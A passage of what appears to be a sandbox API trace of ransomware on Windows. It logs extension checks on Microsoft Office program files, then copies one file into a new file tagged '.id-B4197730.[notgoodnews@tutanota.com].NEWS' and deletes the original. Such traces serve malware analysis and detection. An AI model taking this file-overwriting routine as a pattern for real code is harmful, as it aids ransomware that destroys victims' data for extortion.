(lpString=".doc") returned 4 [0174.329] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0174.329] lstrlenW (lpString=".docx") returned 5 [0174.329] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0174.329] lstrlenW (lpString=".pdf") returned 4 [0174.329] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0174.329] lstrlenW (lpString=".xls") returned 4 [0174.329] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0174.329] lstrlenW (lpString=".xlsx") returned 5 [0174.329] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0174.330] lstrlenW (lpString=".ppt") returned 4 [0174.330] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0174.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0174.330] lstrlenW (lpString=".zip") returned 4 [0174.330] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0174.330] lstrlenW (lpString=".rar") returned 4 [0174.330] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0174.330] lstrlenW (lpString=".bz2") returned 4 [0174.330] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0174.330] lstrlenW (lpString=".7z") returned 3 [0174.330] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0174.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0174.330] lstrlenW (lpString=".dbf") returned 4 [0174.330] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0174.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0174.330] lstrlenW (lpString=".1cd") returned 4 [0174.330] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0174.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0174.330] lstrlenW (lpString=".jpg") returned 4 [0174.330] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0174.330] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0174.330] lstrlenW (lpString="Microsoft.AppV.Eventing.dll") returned 27 [0174.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0174.332] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=96472) returned 1 [0174.332] CloseHandle (hObject=0x518) returned 1 [0174.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll")) returned 0x220 [0174.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0174.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0174.332] lstrlenW (lpString=".doc") returned 4 [0174.332] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.332] lstrlenW (lpString=".docx") returned 5 [0174.332] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0174.332] lstrlenW (lpString=".pdf") returned 4 [0174.332] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.332] lstrlenW (lpString=".xls") returned 4 [0174.332] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.332] lstrlenW (lpString=".xlsx") returned 5 [0174.332] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0174.332] lstrlenW (lpString=".ppt") returned 4 [0174.333] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0174.333] lstrlenW (lpString=".zip") returned 4 [0174.333] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.333] lstrlenW (lpString=".rar") returned 4 [0174.333] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.333] lstrlenW (lpString=".bz2") returned 4 [0174.333] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.333] lstrlenW (lpString=".7z") returned 3 [0174.333] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0174.333] lstrlenW (lpString=".dbf") returned 4 [0174.333] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0174.333] lstrlenW (lpString=".1cd") returned 4 [0174.333] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0174.333] lstrlenW (lpString=".jpg") returned 4 [0174.333] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0174.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0174.333] lstrlenW (lpString=".doc") returned 4 [0174.333] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.333] lstrlenW (lpString=".docx") returned 5 [0174.333] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0174.333] lstrlenW (lpString=".pdf") returned 4 [0174.333] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.333] lstrlenW (lpString=".xls") returned 4 [0174.333] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.333] lstrlenW (lpString=".xlsx") returned 5 [0174.333] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0174.333] lstrlenW (lpString=".ppt") returned 4 [0174.333] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0174.334] lstrlenW (lpString=".zip") returned 4 [0174.334] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.334] lstrlenW (lpString=".rar") returned 4 [0174.334] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.334] lstrlenW (lpString=".bz2") returned 4 [0174.334] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.334] lstrlenW (lpString=".7z") returned 3 [0174.334] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0174.334] lstrlenW (lpString=".dbf") returned 4 [0174.334] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0174.334] lstrlenW (lpString=".1cd") returned 4 [0174.334] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0174.334] lstrlenW (lpString=".jpg") returned 4 [0174.334] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.334] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0174.334] lstrlenW (lpString="Microsoft.AppV.Modernizer.Common.dll") returned 36 [0174.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0174.335] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=49368) returned 1 [0174.335] CloseHandle (hObject=0x518) returned 1 [0174.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll")) returned 0x220 [0174.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0174.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0174.335] lstrlenW (lpString=".doc") returned 4 [0174.335] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.335] lstrlenW (lpString=".docx") returned 5 [0174.335] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0174.335] lstrlenW (lpString=".pdf") returned 4 [0174.335] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.335] lstrlenW (lpString=".xls") returned 4 [0174.335] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.335] lstrlenW (lpString=".xlsx") returned 5 [0174.335] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0174.336] lstrlenW (lpString=".ppt") returned 4 [0174.336] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0174.336] lstrlenW (lpString=".zip") returned 4 [0174.336] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.336] lstrlenW (lpString=".rar") returned 4 [0174.336] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.336] lstrlenW (lpString=".bz2") returned 4 [0174.336] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.336] lstrlenW (lpString=".7z") returned 3 [0174.336] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0174.336] lstrlenW (lpString=".dbf") returned 4 [0174.336] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0174.336] lstrlenW (lpString=".1cd") returned 4 [0174.336] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0174.336] lstrlenW (lpString=".jpg") returned 4 [0174.336] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0174.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0174.336] lstrlenW (lpString=".doc") returned 4 [0174.336] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.336] lstrlenW (lpString=".docx") returned 5 [0174.336] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0174.336] lstrlenW (lpString=".pdf") returned 4 [0174.336] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.336] lstrlenW (lpString=".xls") returned 4 [0174.336] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.336] lstrlenW (lpString=".xlsx") returned 5 [0174.336] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0174.336] lstrlenW (lpString=".ppt") returned 4 [0174.336] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0174.337] lstrlenW (lpString=".zip") returned 4 [0174.337] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.337] lstrlenW (lpString=".rar") returned 4 [0174.337] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.337] lstrlenW (lpString=".bz2") returned 4 [0174.337] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.337] lstrlenW (lpString=".7z") returned 3 [0174.337] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0174.337] lstrlenW (lpString=".dbf") returned 4 [0174.337] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0174.337] lstrlenW (lpString=".1cd") returned 4 [0174.337] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0174.337] lstrlenW (lpString=".jpg") returned 4 [0174.337] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.337] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0174.337] lstrlenW (lpString="Microsoft.AppV.Modernizer.CSharp.dll") returned 36 [0174.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0174.338] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=363736) returned 1 [0174.338] CloseHandle (hObject=0x518) returned 1 [0174.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll")) returned 0x220 [0174.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0174.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0174.338] lstrlenW (lpString=".doc") returned 4 [0174.338] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.338] lstrlenW (lpString=".docx") returned 5 [0174.338] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0174.338] lstrlenW (lpString=".pdf") returned 4 [0174.338] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.338] lstrlenW (lpString=".xls") returned 4 [0174.339] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.339] lstrlenW (lpString=".xlsx") returned 5 [0174.339] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0174.339] lstrlenW (lpString=".ppt") returned 4 [0174.339] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0174.339] lstrlenW (lpString=".zip") returned 4 [0174.339] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.339] lstrlenW (lpString=".rar") returned 4 [0174.339] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.764] lstrlenW (lpString=".bz2") returned 4 [0174.764] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.764] lstrlenW (lpString=".7z") returned 3 [0174.764] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0174.764] lstrlenW (lpString=".dbf") returned 4 [0174.764] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0175.012] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=1347630) returned 1 [0175.012] CloseHandle (hObject=0x4dc) returned 1 [0175.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu")) returned 0x220 [0175.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0175.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0175.013] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.014] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0175.015] GetLastError () returned 0x0 [0175.015] ReadFile (in: hFile=0x4dc, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0175.062] WriteFile (in: hFile=0x474, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0175.201] ReadFile (in: hFile=0x4dc, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x4903e, lpOverlapped=0x0) returned 1 [0175.214] WriteFile (in: hFile=0x474, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x49040, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x49040, lpOverlapped=0x0) returned 1 [0175.223] ReadFile (in: hFile=0x4dc, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0175.223] WriteFile (in: hFile=0x474, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x10e, lpOverlapped=0x0) returned 1 [0175.223] SetEndOfFile (hFile=0x474) returned 1 [0175.831] CloseHandle (hObject=0x474) returned 1 [0175.831] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.831] SetEndOfFile (hFile=0x4dc) returned 1 [0175.879] CloseHandle (hObject=0x4dc) returned 1 [0175.879] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0176.113] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu")) returned 1 [0176.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0176.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0176.300] lstrlenW (lpString=".doc") returned 4 [0176.300] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0176.300] lstrlenW (lpString=".docx") returned 5 [0176.300] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0176.300] lstrlenW (lpString=".pdf") returned 4 [0176.300] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0176.300] lstrlenW (lpString=".xls") returned 4 [0176.300] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0176.300] lstrlenW (lpString=".xlsx") returned 5 [0176.300] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0176.300] lstrlenW (lpString=".ppt") returned 4 [0176.300] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0176.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0176.300] lstrlenW (lpString=".zip") returned 4 [0176.301] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0176.301] lstrlenW (lpString=".rar") returned 4 [0176.301] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0176.301] lstrlenW (lpString=".bz2") returned 4 [0176.301] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0176.301] lstrlenW (lpString=".7z") returned 3 [0176.301] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0176.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0176.301] lstrlenW (lpString=".dbf") returned 4 [0176.301] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0176.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0176.301] lstrlenW (lpString=".1cd") returned 4 [0176.301] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0176.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0176.301] lstrlenW (lpString=".jpg") returned 4 [0176.301] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0176.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0176.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0176.301] lstrlenW (lpString=".doc") returned 4 [0176.301] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0176.301] lstrlenW (lpString=".docx") returned 5 [0176.301] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0176.301] lstrlenW (lpString=".pdf") returned 4 [0176.301] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0176.301] lstrlenW (lpString=".xls") returned 4 [0176.301] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0176.301] lstrlenW (lpString=".xlsx") returned 5 [0176.301] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0176.301] lstrlenW (lpString=".ppt") returned 4 [0176.301] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0176.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0176.301] lstrlenW (lpString=".zip") returned 4 [0176.301] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0176.301] lstrlenW (lpString=".rar") returned 4 [0176.301] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0176.301] lstrlenW (lpString=".bz2") returned 4 [0176.302] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0176.302] lstrlenW (lpString=".7z") returned 3 [0176.302] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0176.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0176.302] lstrlenW (lpString=".dbf") returned 4 [0176.302] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0176.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0176.302] lstrlenW (lpString=".1cd") returned 4 [0176.302] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0176.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0176.302] lstrlenW (lpString=".jpg") returned 4 [0176.302] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0176.302] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0176.302] lstrlenW (lpString="AccessR_Grace-ul-oob.xrm-ms") returned 27 [0176.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft 